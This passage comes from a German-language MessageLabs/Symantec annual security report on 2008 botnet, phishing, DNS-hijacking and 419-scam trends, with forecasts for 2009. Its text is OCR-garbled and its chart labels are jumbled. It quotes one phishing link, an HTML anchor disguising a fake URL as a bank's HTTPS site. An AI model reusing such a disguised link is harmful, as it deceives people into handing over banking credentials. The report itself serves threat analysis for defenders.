Dabei existiert die Malware als Virtualisierungsebene, die direkt auf der Hardware lauft und
dort einige entscheidende Betriebssystem-Befehle abfangen kann. Das lauft darauf hinaus,
dass das ,echte” Betriebssystem Uberhaupt nichts davon mitbekommt, dass eine darunter

liegende Malware die Kontrolle tiber den Computer ibernommen hat.

Es ist damit zu rechnen, dass unterschiedliche Technologien als gefahrliche Hypervisor auf
den Plan treten. Dazu z&hlen etwa ,Rootkits“, die einer Erkennung durch Abwehrsysteme
vorbeugen, und Kernel-Modus-Treiber, die als List und im Sinne einer besseren Performance
naher am zentralen Betriebssystem agieren. Ebenso konnten es individuell anpassbare TCP-
Netzwerk-Stacks einem Botnet ermdglichen, mit Hilfe seiner eigenen skalierbaren SMTP-Mail-
Engine die Sicherheitssysteme von Windows zu umschiffen und so den Datenverkehr
zweckgerichtet entsprechend des jeweiligen Ziels zu optimieren.

Seridse Websites dirften weiterhin mit wachsender Aggressivitat durch Botnets wie ASPROX
attackiert werden, die auf diesem Wege ihre Schadprogramme zu verbreiten versuchen. Es
steht zu erwarten, dass Angriffe per SQL-Injection und Cross-Site-Scripting gang und gébe
sein werden und dass sich das Internet in eine zunehmend feindliche Lebenswelt verwandelt.



Hacker machen mobil

Bereits 2008 sahen sich tragbare Smartphones gezielten Angriffen ausgesetzt, die als
kostenloser Download von Software-Anwendungen oder Spielen getarnt waren. Bisher glichen
diese Attacken noch eher Dumme-Jungen-Streichen, als dass sie wirklich eine Gefahr
bedeutet hatten. 2009 durfte sich dies jedoch zunehmend andern, da Kriminelle nun
Moglichkeiten entwickeln und entdecken werden, wie sich mit den Sicherheitsliicken mobiler
Endgeréate tatsachlich Geld verdienen lasst. Noch stehen solche Angriffe deutlich im Schatten
der Attacken auf klassische Arbeitsplatzrechner. Derzeit sind nur rund 300 Mobilfunk-Viren,
aber etwa 400.000 Schadprogramme fur PCs im Umlauf. MessagelLabs Intelligence erwartet
jedoch, dass Erstere irgendwann eine ebenbirtige Geféahrdung darstellen werden.
Beispielsweise zielten Porno-Dialer im letzten Jahrzehnt noch auf PC-Anwender mit Modem
ab und sorgten dafir, dass infizierte Rechner automatisch kostenpflichtige Rufnummern im
Ausland anwéhlten. Viele Computerbesitzer merkten erst beim Eintreffen der nachsten
Telefonrechnung, dass in den Netzwerkverbindungen ihres PCs die Nummer ihres ISPs mit
betrigerischer Intention ausgetauscht worden war. Auf ganz &hnliche Weise werden Kriminelle
nun versuchen, Mobilfunk-Kunden um erhebliche Gebuhren zu prellen mit Attacken, die
Handys dazu veranlassen, selbsttatig SMS-Nachrichten an solche Hotlines zu verschicken.



5 Missbrauch, Trickbetrug und Phishing: Die gré3ten Gefahren
im Jahr 2008

5.1 Das Phishing-Restimee

Der allgemeine Trend bei per E-Mail verbreiteter Malware im Jahr 2008 zeigt, dass sich hinter
1 von 244,9 E-Mails (0,41 Prozent) ein Phishing-Versuch verbarg. 2007 hatte der
entsprechende Anteil noch 1 zu 156,0 (0,64 Prozent) betragen.
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Durchschnittlicher Anteil von Phishing-Mails am weltweiten E-Mail-Verkehr.

Ihren Jahreshéchststand erreichte die Phishing-Aktivitat im Februar 2008 mit durchschnittlich
einem Angriff pro 99,1 E-Mails. Zuriickzufihren war diese Belastungsspitze zum Teil auf das
gestiegene Angebot an per Plug-and-Play in Betrieb zu nehmenden Phishing-Bausatzen, die
sich auch mit sehr geringen technischen Kenntnissen konfigurieren lie3en. Ein weiterer Faktor
war der verstarkte Einsatz von spezialisierten Botnets zu Phishing-Zwecken.

Die Verwendung von Botnets fir das Hosting einer Vielzahl von Phishing-Seiten ist ein relativ
neuer Trend, der erstmals im Januar 2008 bei Storm zu beobachten war. Zuvor hatten Botnets
fast ausschliel3lich dazu gedient, Spam-Nachrichten zu verschicken und Schadprogramme zu
verteilen.

Wahrend die Intensitat von Phishing-Attacken im Laufe des Berichtsjahres weitgehend stabil
geblieben ist, wurden die Angriffe zusehends auf weitere Unternehmen als potenzielle Opfer
ausgedehnt: Mittlerweile zielen die Angriffe auch auf Jobvermittiungen, Online-Shops und
Internetseiten von Lebensmittelhandlern ab.

Weiterhin ist zu beobachten, dass zwar die grof3en internationalen Finanzinstitute weiterhin im
Visier von Phishing-Betrligern stehen, diese ihr Augenmerk aber auch auf eine steigende Zahl
kleiner, regional tatiger Banken und Kreditgenossenschaften richten. Angesichts der
wachsenden Schwierigkeiten, Kredite genehmigt zu bekommen, werden Finanzinstitute mit
héherer Wahrscheinlichkeit dazu Gibergehen, das Online-Banking lUber eine Zwei-Wege-
Authentisierung zu schiitzen. Infolgedessen ist damit zu rechnen, dass die Zahl spezieller
Banking-Trojaner weiter steigen wird.



5.2 Neue Techniken, Veranderung etc.

Im Jahr 2008 hat MessageLabs Intelligence entdeckt, dass Betriiger seriése Unternehmen mit
langjahriger Internet-Préasenz ins Visier genommen haben, um diese fur das Hosting von
Phishing-Angriffen zu nutzen. Indem sie die Kontrolle Gber die Eintrage in der jeweiligen DNS-
Datenbank (Domain Name Service) Ubernehmen, kénnen sich Phisher den bis dato guten Ruf
der gekaperten Domains zunutze machen. Denn es ist unwahrscheinlich, dass die Filter von
Sicherheitstechnologien bereits den Zugriff auf diese Seiten blockieren.

Im folgenden Beispiel gehdrte die im Phishing-Link genannte Domain zur Website einer
rechtschaffenen japanischen Firma. Jedoch hatten die Angreifer deren DNS manipuliert und
eine Reihe von Sub-Domains und Platzhalter-Eintrdgen hinzugefligt, um die Webadressen der
Zielbank ihres Angriffs zu imitieren. Ergdnzen konnten sie diese DNS-Eintrage ohne Wissen
und Zustimmung des eigentlichen Domain-Inhabers.

Beispiel fur manipulierte DNS-Eintrage, die einer Phishing-Attacke dienten.

Die IP-Adresse, auf die diese Sub-Domains verwiesen, gehdrt zu einem Rechner, der an ein
Forschungsnetzwerk in Taiwan angeschlossen war. Méglicherweise handelte es sich um einen
gekaperten Computer, der nun als Webserver verwendet wurde. Bei anderen ahnlich
gelagerten Angriffen manipulierten Betriger statt der DNS-Datenbank die Webserver serioser
Unternehmen, um Uber diese ihre Phishing-Seiten ins Netz zu stellen.

Mitte 2008 wurden Schwachpunkte im grundlegenden Aufbau des DNS-Protokolls (Domain
Name Server) aufgedeckt, Uber die sich Hackern méglicherweise die Gelegenheit bietet, die
Cache-Speicher von DNS-Servern zu manipulieren. Im Laufe des Berichtsjahres wurden
unsichere DNS-Domains und anfallige Websites fur Phishing-Angriffe genutzt. Indem sich
Betrtiger auf diese Weise den guten Ruf etablierter Domains zunutze machen, verzichten sie
stattdessen auf den althergebrachten Ansatz, ihre Seiten unter Web-Adressen mit bewussten
Zahlen- und Zeichendrehern ins Netz zu stellen.

Solche Tippfehler-Domains mussten im Voraus registriert werden und sind anféllig daftr,
gleich wieder vom Netz genommen zu werden, sobald eine Beschwerde eingegangen ist. Um
dies an einem fiktiven Beispiel zu erlautern, kbnnten Web-Betriger, die es auf eine Domain
wie onlinebanking.com als Ziel abgesehen haben, die Adresse onlinebanking.com eintragen
lassen und fur das Hosting einer Phishing-Seite verwenden. Bei einem fllchtigen Blick kann
ein Computerbesitzer durchaus Ubersehen, dass bei dieser Tippfehler-Domain anstelle des
kleinen ,L" die Ziffer ,1* steht.



In der zweiten Halfte des Jahres 2008 war eine bemerkenswerte und sprunghafte Zunahme
von Web-basierenden Trojanern festzustellen, die dafir entwickelt wurden, Passwaorter fir
sehr bekannte Online-Spiele zu stehlen. Mdglicherweise ist dies ein Beleg fur die Fahigkeit
von Cyber-Kriminellen, Gber diese virtuellen Welten fiktive Reichtiimer in bare Munze zu
verwandeln und ihre unrechtmafig erworbenen Gewinne zu waschen.

Als sich die weltweite Finanzkrise gegen Ende 2008 verfestigte und es immer schwieriger
wurde, noch Kredite genehmigt zu bekommen, beobachtete MessageLabs Intelligence eine
Zunahme an Phishing-Angriffen sowie an Spam mit Bezug zu den Themen Geld und
Darlehen.

5.2.1 Social Engineering

Im Laufe des Jahres 2008 hat sich die Art und Weise veréandert, mit der Praktiken des Social
Engineerings fir einige Phishing-Angriffe genutzt wurden. In einem Fall hatten Betriiger vom
Ublichen Ansatz mit ,Sicherheitswarnung!”-Mails abgesehen und stattdessen die ,Go Green*
Kampagne einer US-amerikanischen Bank imitiert und umweltbewusste Adressaten
aufgefordert, auf die herkdbmmlichen Ausdrucke auf Papier zu verzichten und sich fir den
Online-Bezug elektronischer Kontoauszlge zu registrieren.

Im Zuge der sich verscharfenden weltweiten Finanzkrise gegen Ende 2008 erlebte
MessagelLabs Intelligence einen Anstieg von Phishing-Attacken tiber nachgeahmte Bank-
Websites. Allein zwischen September 2008 und Oktober 2008 hat sich die Zahl der Phishing-
Angriffe mehr als verdoppelt. Im Visier der Betriger standen in den meisten Fallen nationale
und global agierende Banken, kleinere Staatsbanken, Kreditgenossenschaften und Online-
Shops. Wahrend sich der Druck auf das weltweite Bankensystem erhdhte, versuchten
trickreiche Betruger, die Verunsicherung rund um mdogliche Fusionen und Rettungsaktionen zu
ihrem Vorteil zu nutzen, in dem sie Angriffe gegen zahlreiche grof3e US-Banken lancierten.

Uber eine Analyse der Absender-IP-Adressen konnte MessageLabs Intelligence bestimmen,
dass Cutwail, das mit zu diesem Zeitpunkt etwa einer Millionen aktiver Rechner eines der
grof3ten Botnets darstellt, fir einen erheblichen Anteil dieser Betrugsversuche verantwortlich
war.

Die im Rahmen des Phishing-Betrugs verwendeten Praktiken des Social Engineerings werden
laufend verbessert. Die Schattenwirtschaft richtet sich verstarkt auf die gefragten
Qualifikationen aus und verfolgt dabei vor allem das Ziel, Phishing-Attacken gegen Social-
Networking-Portale zu unternehmen. Denn solche Angriffe versorgen Kriminelle mit einem
reichhaltigen Fundus an Informationen zu einzelnen realen Personen und mit Zugang zu deren
.Freundes“-Verzeichnis.



5.2.2 Vorkassenbetrug, 419-Scams

Ende 2008 wurden mittels Phishing geknackte Accounts bei grol3en Social-Networking-
Portalen auch von Betriigern missbraucht, um Spam-Nachrichten an die Kontakte in der
jeweiligen Freundesliste zu versenden und diese um eine Geldiberweisung zu beten. In
einigen Féllen behaupteten die Gauner, dass die betreffende Person im Ausland festsitze und
finanzielle Hilfe bendtige, um nach Hause zurtickkehren zu kdénnen.

AufRRerdem stammten Nachrichten, die im Rahmen von Vorkassentricks in ,419“-Manier als
Koder verschickt wurden, in zunehmendem Mafe von Accounts, die automatisch mittels Tools
zum Knacken von CAPTCHAS angelegt worden waren.

Trickbetriiger machten sich Social-Networking-Seiten auch bei einer Reihe von eher
traditionellen Vorkassengaunereien zunutze. Beispielweise fligte in einem dieser Falle der
Betrtiger einen Link zu einem Social-Networking-Portal in seine Nachricht ein, um seiner
Herkunft mehr Glaubwirdigkeit zu verleihen. Seine Masche bestand darin, Gelder fur die
Produktion und das Sponsoring eines erbarmlich geschriebenen Drehbuches einzutreiben, das
er in aller Eile verfasst und als Word-Dokument angehangt hatte.

Klrzere Betrugs-Mails

Beispiele von Ende des Jahres 2008 aufgetretenen 419-Fallen unterstreichen, dass sich die
Betrtiger auf kiirzere Nachrichten verlegt haben und der Textteil ihrer Mails nur noch ein oder
zwei Satze umfasst. Denn so féllt es schwerer, diese als Betrugsversuche zu identifizieren.
Adressaten werden zunéchst lediglich gebeten, sich auf eine ,einzigartige Geschéafts-Chance”
zu melden, und erst wenn sie weitere Informationen anfordern, offenbart sich allmahlich die
wahre Natur des Schwindels.

Einsatz von Dateianhangen

Ende 2008 verwendeten Betriiger bei Vorkassentricks in 419-Manier in verstarktem Mal3e
Dateianhange. Da die Inhalte im Textteil der E-Mails nun kirzer ausfielen, waren die
Attachments zunachst naher unter die Lupe zu nehmen, um den wahren Hintergrund des
Anschreibens zu erkennen. Mitunter fand sich auch die eigentliche Botschaft erst in
angehangten Dateien, beispielsweise in Microsoft-Word-Dokumenten und Adobe-Acrobat-
PDFs.



Beispiel fur einen versuchten Vorkassenbetrug tber ein angehéngtes Microsoft-Word-
Dokument.

Beim oben beispielhaft dargestellten Attachment enthielt das angehangte Dokument die
traditionellen, fur 419-Vorkassentricks Ublichen Formulierungen. Die Betrliger glaubten also
offenbar, auf diesem Wege herkdbmmliche Spam-Filter umgehen zu kénnen, die lediglich den
Text und die Herkunft einer Mail prifen, aber die Inhalte von Dateianhangen unbericksichtigt

lassen.



Beispiel fur einen Betrugsversuch, bei dem die Nachricht in einem Word-Dokument
untergebracht wurde.

Phishing per Voice over IP

In groRer Zahl traten im Jahr 2008 auch Beispiele fir den Missbrauch von VolP-Diensten fir
Phishing-Mails auf. Im unten gezeigten Fall baten die verschickten Nachrichten die
Empfanger, eine angegebene Telefonnummer anzurufen. Hinter dem Anschluss verbarg sich
dann eine Anlage, die mit Hilfe eines per Tonwahlverfahren zu steuernden Menusystems die
automatische Telefonzentrale der tatsachlichen Bank nachahmte. Die Opfer wurden auf
diesem Wege aufgefordert, ihre Kontodetails ,nach dem Ton" als Voicemail zu hinterlassen.



o

Beispiel fur eine Phishing-Attacke, die Adressaten aufforderte, ihre Kontodaten tber einen
VolP-Anruf aufzuzeichnen.

5.2.3 Botnets — Entwicklungen (Teil 3: Trickbetrug, Phish ing)

Nutzen Betriiger die Fast-Flux-Technik, wird jede Phishing-Domain mit rasant geanderten IP-
Adressen aktualisiert, was dieser Art von Websites zum Diebstahl von Authentisierungsdaten
eine hohere Laufzeit beschert. Diese Seiten sind also Uber einen langeren Zeitraum verflgbar
und schwerer vom Netz zu nehmen. Eine interessante Entdeckung war die Verwendung
geheimer Hintertlirchen in einigen der relativ frei erhaltlichen Phishing-Kits. Diese versetzen
die originalen Autoren der Bauséatze in die Lage, deren kriminelle Anwender um ihre
unrechtmaflig erworbenen Gewinne zu prellen.

2008 waren verstarkt Phishing-Attacken zu konstatieren, die von spezialisierten Botnets
ausgingen, und im Mai 2008 war das Botnet Srizbi fir den Versand einer Reihe von Phishing-
Mails verantwortlich, die unter Verwendung von https:-Links eine bestimmte Bank ins Visier
nahmen. Um Besucher von der Sicherheit einer Phishing-Seite zu tGiberzeugen, konnten
Betrtiger auch auf echte https:-Links zurtickgreifen. Dazu manipulierten sie die Websites von
rechtschaffenen Unternehmen, die eine SSL-Verschlisselung (Secure Sockets Layer)



unterstitzen, sodass im Browser der Besucher als Symbol fir eine ,sichere” Verbindung ein
Sicherheitsschloss angezeigt wurde.
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<a href="Https://my.secure-ssl.net/[redux].net.pchx/[bank].co.uk/1.php?
jsessionid=CAM10:isessionid=0000RcSVF4VYF7HNB8AsppR8HR0:11j71fovg?IDV_URL=[redux].My[redux]_pib"
> https://www.[bank].co.uk</a>

Beispiel fur eine Phishing-Attacke tber eine manipulierte SSL-Website.

Mit ASPROX wurde ein anderes Botnet beinahe ausschlie3lich dafir konzipiert, Phishing-
Angriffe zu begehen. Als ASPROX erstmals auftrat, handelte es sich im Prinzip um einen
Trojaner zum Auskundschaften von Authentisierungsdaten. Anschlie3ende Verbesserungen
jedoch haben diesen in ein Botnet verwandelt, das in der Lage ist, anféllige Websites mittels
SQL-Injection-Attacken zu infiltrieren. ASPROX wurde in ASP (Active Server Pages)
programmiert und erzeugt automatisch ,http GET“-Anfragen, um eine Verbindung mit den
Datenbank-Servern unzureichend gesicherter Websites herzustellen.

Das verleiht ASPROX die Kompetenz, schadlichen JavaScript-Code in entscheidende
Datenbank-Tabellen zu ,injizieren”, sodass anschlielend auch die Rechner von Besuchern der
Seite infiziert werden. Das JavaScript-Progamm enthalt versteckte ,HTML <IFRAME>"-Tags
und sorgt dafir, dass im Browser des Anwenders der Schadcode von anderen Websites
ausgefuhrt wird, die ebenfalls unter Kontrolle der Tater stehen. Dabei werden gleich mehrere
Browser-Exploits getestet, um den Computer des Besuchers zu tberrumpeln.



5.3 Die Phishing-Prognose ftir 2009

Das Reputations-Kidnapping floriert

Im Juli 2008 wurden Schwachpunkte im grundlegenden Aufbau des DNS-Protokolls (Domain
Name Server) aufgedeckt. Theoretisch kénnte ein Hacker den lokalen Speicher (bzw. ,Cache®)
vergiften, in dem ein Server die Hosthamen und zugehdrigen IP-Adressen aufbewahrt. So
wurde Anwendern, die Uber einen derart manipulierten Server eine E-Mail versenden oder
eine Website aufrufen wollen, eine falsche IP-Adresse zuriickgemeldet. Im Falle einer E-Mail
konnte das bedeuten, dass die Nachricht zun&chst zu einem in krimineller Absicht
eingerichteten Mailserver umgeleitet und dort gelesen oder kopiert wirde, bevor sie dem
tatsachlichen Adressaten zugestellt wird. Sowohl der eigentliche Absender als auch der
letztliche Empfanger wiirden sich in einem solchen Fall in seliger Unwissenheiten wiegen,
dass die in der E-Mail enthaltenen Informationen abgefangen und nach wertvollen Daten
durchforstet wurden.

Bezogen auf das Web ware es mdglich, den Anwender zu einer gefalschten Internetprasenz
umzuleiten, die einer echten Website nachempfunden ist, die dieser regelméRig nutzt. Zu
einem solchen Angriff wilrde es gehdren, das ahnungslose Opfer zu beten, freiwillig
personliche Informationen, Kreditkartendaten und Passworter preiszugeben. Diese lie3en sich
dann fur ungefugte Abbuchungen oder fur in anderer Leute Namen begangene Betrligereien
nutzen. Diese Herangehensweise unterscheidet sich in einem entscheidenden Punkt von
herkdmmlichen Phishing-Attacken: Angreifer missen ihre Opfer nicht dahingehend tauschen,
dass diese einer Webadresse vertrauen, die der erwarteten Adresse sinnvollerweise ahnelt.
Stattdessen nehmen sie unmittelbar die Existenz eines Servers an, den das Opfer unter
Umstanden als Favoriten oder in seinem Adressbuch gespeichert hat.

Vor dem Hintergrund der enormen Ressourcen, die von den organisierten, fur fast die gesamte
Online-Kriminalitat verantwortlichen Banden regelméafiig aufgeboten werden, sowie angesichts
der Vielzahl anfalliger Systeme und der allgemeinen Verfugbarkeit von Exploit-Code, durfte es
technisch nicht sonderlich anspruchsvoll sein, Schwachstellen des DNS auszunutzen. Selbst
nachdem im August 2008 Patches bereitgestellt wurden, um unzureichend geschutzte Server
gegen Angriffe zu wappnen, stellte sich heraus, dass die Sicherheitslticke nicht aus der Welt
geschafft worden war — man hatte sie vielmehr lediglich verkleinert.

Die groi3te Sorge besteht angesichts des immer umgangreicheren Angebots an Toolkits fr
deutlich vereinfachte Angriffe darin, dass sich via Internet von Kriminellen kontrollierte Botnets
oder Armeen von Zombie-Rechnern unbemerkt von deren Besitzern fir einen effektiven
frontalen Grol3angriff gegen einen Server nutzen liel3en. Mit Tausenden an gleichzeitigen
Versuchen kénnten Angreifer einen DNS-Server binnen weniger Tage vergiften, wenn nicht
sogar innerhalb von Stunden.

Wer als Unternehmen auf DNS-Nameserver vertraut, die von seinem Network Service
Provider (NSP) oder Internet Service Provider (ISP) gehostet werden, sollte sich vergewissern,
dass diese ein solches Risiko sehr Ernst nehmen und Maflinahmen fir einen effektiven
Umgang mit derartigen Gefahren getroffen haben. Dazu gehdren liickenlos aufgespielte



Patches und die Versicherung, die Gefahr wirksam entscharft zu haben. Dartber hinaus
sollten Unternehmen ins Auge fassen, kinftig die DNSSEC-Sicherheitserweiterungen zum
DNS-Protokoll einzufiihren, die digitale Signaturen von Domain-Eintrdgen und deren
Validierung unterstiutzen.

Jedoch ist zu berlcksichtigen, dass die Einfuhrung von DNSSEC nicht reibungslos verlauft
und dass dieses Sicherheitsverfahren darauf beruht, dass auch die Basis- und Toplevel-
Domains wie beispielsweise .com digital signiert werden. Im August 2008 haben in den USA
die Verantwortlichen fir die .gov-Domain ihre Plane bekannt gegeben, ab Dezember 2009 alle
wichtigen Behdrden zu verpflichten, ihre Webadressen mit DNSSEC (DNS Security
Extensions) zu sichern. Derzeit machen dies erst wenige Websites, obwohl mit Hilfe von
Zwischenlosungen eine gegenseitige Authentisierung durch DNSSEC-aktivierte Domains
maoglich ist. Fir Unternehmen ist es jedoch zweifellos ratsam, eine DNSSEC-Einfiihrung im
Laufe des Jahres 2009 in Betracht zu ziehen.

Als Schlussfolgerung aus den Mitte 2008 aufgedeckten Schwachpunkten im grundlegenden
Aufbau des DNS-Protokolls, tber die Hacker die Cache-Speicher von DNS-Servern
manipulieren kdnnen, erwartet MessagelLabs Intelligence, dass sich Phishing-Attacken
verstarkt auf den Missbrauch anfélliger DNS-Domains und -Websites konzentrieren werden.
An Bedeutung verlieren durfte derweil der herkdbmmliche Ansatz, relativ einfach zu
identifizierende Betrugsseiten mit Buchstabendreher-Domains zu betreiben, bei denen
Anwender bei einem fliichtigen Blick die fehlerhafte Webadresse tibersehen konnten. Es steht
aul3erdem zu erwarten, dass Unternehmen sich verstarkt mit der Einfihrung von DNSSEC-
Technologien beschaftigen werden, um mdogliche DNS-Attacken zu entscharfen.

419-Tricks ohne ausschweifende Prosa

Zunehmend schwerer schon auf den ersten Blick zu erkennen sein werden im Jahr 2009 die
Vorkassentricks in Manier des Nigeria-419-Scams. Denn statt der weitschweifig erzahlten
Méarchen, anhand derer solche Tricks bisher tblicherweise sofort zu identifizieren waren,
werden die verschickten Mails kinftig nur noch ein, zwei Satze umfassen. Die wahren
Hintergrinde der betriigerischen Masche werden sich vermutlich nur allméhlich offenbaren, da
die Adressaten zunachst einmal nur um Antwort gebeten werden, wollen sie mehr tber die
angebotenen ,Geschafts-Chancen” erfahren. Darlber hinaus ist zu vermuten, dass Internet-
Trickbetrtger verstarkt auf E-Mail-Dateianhange setzen werden, um ihre Nachrichten mit
detaillierteren Informationen zu unterfuttern, ohne traditionellen Spam-Filtern ins Netz zu
gehen.



6 Auf die internationale Geschaftswelt bezogen: Die
Gefahren im Jahr 2008
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6.2 Malware: Die funf grol3ten Gefahren

6.2.1 E-Mall

Email viruses intercepted:
top 5

Exploit/Link-aliaspostcard

Link/HackedPacker-pe

Exploit/Link.gen

Link/HackedPacker-
Malprotector
Exploit/
SuspiciousLink

6.2.2 Internet

Web viruses intercepted: Web access blocked by policy: Web potentially unwanted programs
top 5 top 5 intercepted: top 5
W32/ Advertisements 0 PUP:Server
Winko.worm!cfg & Popups ARLRR FTP.Win32.Tftpd S
Iframe Chat 21.3% PUP:SaveNow - 10.5%
New Malware.f Streaming Media l 5.1% PUP:WhenU . 6.5%
Generic 0 PUP:MyWeb I 3.6%
Downloader.bk Games I 2.6% Search o
Personals & o PUP:Remote o
JS/ForcePopup.A JBOeioNey Dating I 1.9% Admin.Win32 I 3.4%
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7 Fazit
7.1 Angriffe via Cloud-Computing

Die Botnet-Gefahr wachst und gewinnt an technischer Raffinesse. Das erfordert entsprechend
tiefgreifende Abwehrsysteme, um Unternehmen vor den Risiken zu schitzen, die Botnets mit
den Uber sie abgewickelten Angriffen darstellen.

Die kollektive Kapazitét der Botnets Ubersteigt langst die Rechenleistung vieler der grof3ten
Supercomputer der Welt. Auch im Hinblick auf ihre Funktionsvielfalt werden Botnets immer
flexibler und kénnen ihre Ressourcen simultan auf zahlreiche kriminelle Aktivitaten verteilen.
Kurzum: In Botnets manifestiert sich die ,virtualisierte” Online-Kriminalitat.

Auf Cloud-Computing basierende Umgebungen, in denen die Speicherung und Verarbeitung
von Daten und Informationen auf zahllosen im Internet verteilten Servern erfolgt, werden nach
Einschatzung von MessageLabs Intelligence im Jahr 2009 zunehmend zur Zielscheibe von
Online-Angriffen. Als besonders anfallig fir Attacken durften sich jene virtuellen Systeme
erweisen, die zum Hosting nativer Windows Server in der Lage sind.

7.2 Entscheidende Zukunftsmarkte — BRIC (Brasilien, Rus  sland, Indien
und China)

Wie bereits zuvor in diesem Bericht erortert, zéahlen die BRIC-Lander zu den
bevoélkerungsreichsten der Erde und eroffnen fir die Zukunft ernorme
Expansionsmoglichkeiten.

Im Laufe des Jahres 2008 hat die Internetnutzung in China erheblich zugenommen. Immer
mehr chinesische Web-Anwender haben online auf Informationen wie etwa topaktuelle News
zugegriffen und das Internet genutzt, um einzukaufen und Bankgeschéfte zu erledigen. Die
Zahl der Haushalte mit Breitband-Anschluss in China war bis Juni 2008 auf 19,1 Prozent
gestiegen und Ubertraf mit 71,6 Millionen Kunden jene in den Vereinigten Staaten. Die USA
kamen im Vergleich dazu auf 70,2 Millionen Breitband-Teilnehmer, Deutschland auf 21
Millionen und GrofR3britannien auf 16,4 Millionen (nach Erhebungen von Dittberner).

In der zweiten Halfte des Jahres 2008 wurde ein grof3erer Teil der an chinesische Domains
adressierten Spam-Mails nicht mehr in Englisch als der allgegenwartigen Spam-Sprache,
sondern in der Landessprache verfasst. Zu den typischen Beispielen fir Spam in chinesischen
Schriftzeichen gehdrten Angebote fir Rechnungsformulare, mal3geschneiderte
Transportdienste und spezielle Marketing-Services, sprich weitere kommerzielle Kampagnen.

Mitte 2008 lebten in China 253 Millionen Internet-Anwender, und damit waren nach Angaben
des China Internet Network Information Centre (CNNIC) mehr Chinesen als US-Amerikaner
ans Web angeschlossen. Zudem waren rund 12,2 Millionen Web-Adressen mit der Endung



»-CN“ registriert, sodass China neben Deutschland (.de) Gber das bedeutendste Landerktrzel
unter den Toplevel-Domains verfugt.

Aufgrund der bahnbrechenden Rasanz, mit der in China die Internetnutzung und Breitband-
Einfihrung voranschreitet, und der entsprechend gestiegenen Nachfrage nach .cn-Domains
wird das Land verstarkt der Gefahr von Online-Kriminalitdt ausgesetzt. Bemerkenswerterweise
werden (nach Angaben von CNNIC) 1,92 Millionen Websites in China gehostet, von denen
genau genommen 71,3 Prozent unter dem Landerkurzel .cn als Toplevel-Domain betrieben
werden.

Top level domains of blocked web viruses

Dieses Balkendiagramm zeigt den Anteil der verschiedenen Toplevel-Domains an den
gefahrlichen Internet-Inhalten.

Im November 2008 waren 53,9 Prozent der wegen gefahrlicher Inhalte zu sperrenden
Domains unter einer .com-Domain registriert. Auf die Toplevel-Domain .cn entfielen 17,4
Prozent der gefahrliche Internetseiten, auf das Landerktrzel .ru noch 12,2 Prozent.

Es ist zu erwarten, dass sich der Anstieg an registrierten .cn-Domains weiter fortsetzt. Denn
diese sind haufig gunstig und fir Kriminelle auch deshalb attraktiv, weil sie sich wegen der
Sprach- und Zeitzonendifferenzen schwerer vom Netz nehmen lassen.

Die Anfalligkeit gegentuber Online-Gefahren — Weltwe  ite Risikoniveaus

Messagelabs Intelligence verfolgt laufend die IP-Adressen aktiver Schadprogramm-Inhalte
zurlck, und das folgende Diagramm veranschaulicht die Zuordnung dieser Adressen zu den
einzelnen Ursprungslandern. Darlber hinaus gibt die Ubersicht auch den prozentualen Anteil
der Internet-Anwender'® in den jeweiligen Staaten an. Die vergebenen Kennziffern sind ein

18 Basierend auf den aktuellsten im Jahr 2008 ventifeéaten Quellen, darunter auch Berichten der OR®D ITU.



Mal3 fir die relative Bedrohung durch Online-Gefahren in den einzelnen Landern, wobei ein
héherer Wert auch ein groReres Risiko bedeutet.

Dieses Diagramm veranschaulicht, inwieweit Internet-Anwender den Angriffen von Botnets
ausgesetzt sind.



Uber MessageLabs Intelligence

Messagelabs Intelligence ist ein angesehener Anbieter von Daten und Analysen zu Themen,
Trends und Statistiken rund um die Sicherheit von Internet-, E-Mail- und Instant-Messaging-
Anwendungen. Das Unternehmen erfasst tiber 14 Rechenzentren in aller Welt fortwahrend
Live-Daten, Uberpriuft Woche fir Woche mehrere Milliarden E-Mails und Web-Aufrufe und
veroffentlicht auf dieser Grundlage vielfaltige Informationen zur aktuellen globalen
Bedrohungssituation. Zum MessagelLabs Team Skeptic™ gehdren zahlreiche weltweit
anerkannte Malware- und Spam-Experten, die Uber die Grenzen einzelner
Kommunikationskanale hinweg ein umfassendes Verstandnis der Online-Gefahren mitbringen.
Diese besondere Expertise stitzt sich auf exakte Daten zu den Milliarden von Websites, E-
Mails und IM-Nachrichten, die MessagelLabs Intelligence tagtéaglich im Auftrag von 19.000

Kunden aus 86 Landern Uberpruft.

Uber Symantec

Symantec ist ein weltweit fihrender Anbieter von Infrastuktur-Software, mit der sich
Unternehmen und Privatpersonen sicher und vertrauensvoll in einer vernetzen Welt bewegen
konnen. Das Unternehmen unterstitzt Kunden beim Schutz ihrer Infrastrukturen,
Informationen und Interaktionen durch Software und Dienstleistungen, die Risiken der IT-
Sicherheit, Verfugbarkeit, Compliance und Leistungsfahigkeit adressieren. Symantec hat
seinen Hauptsitz in Cupertino, Kalifornien und betreibt Niederlassungen in mehr als 40
Landern. Mehr Informationen unter www.symantec.de.
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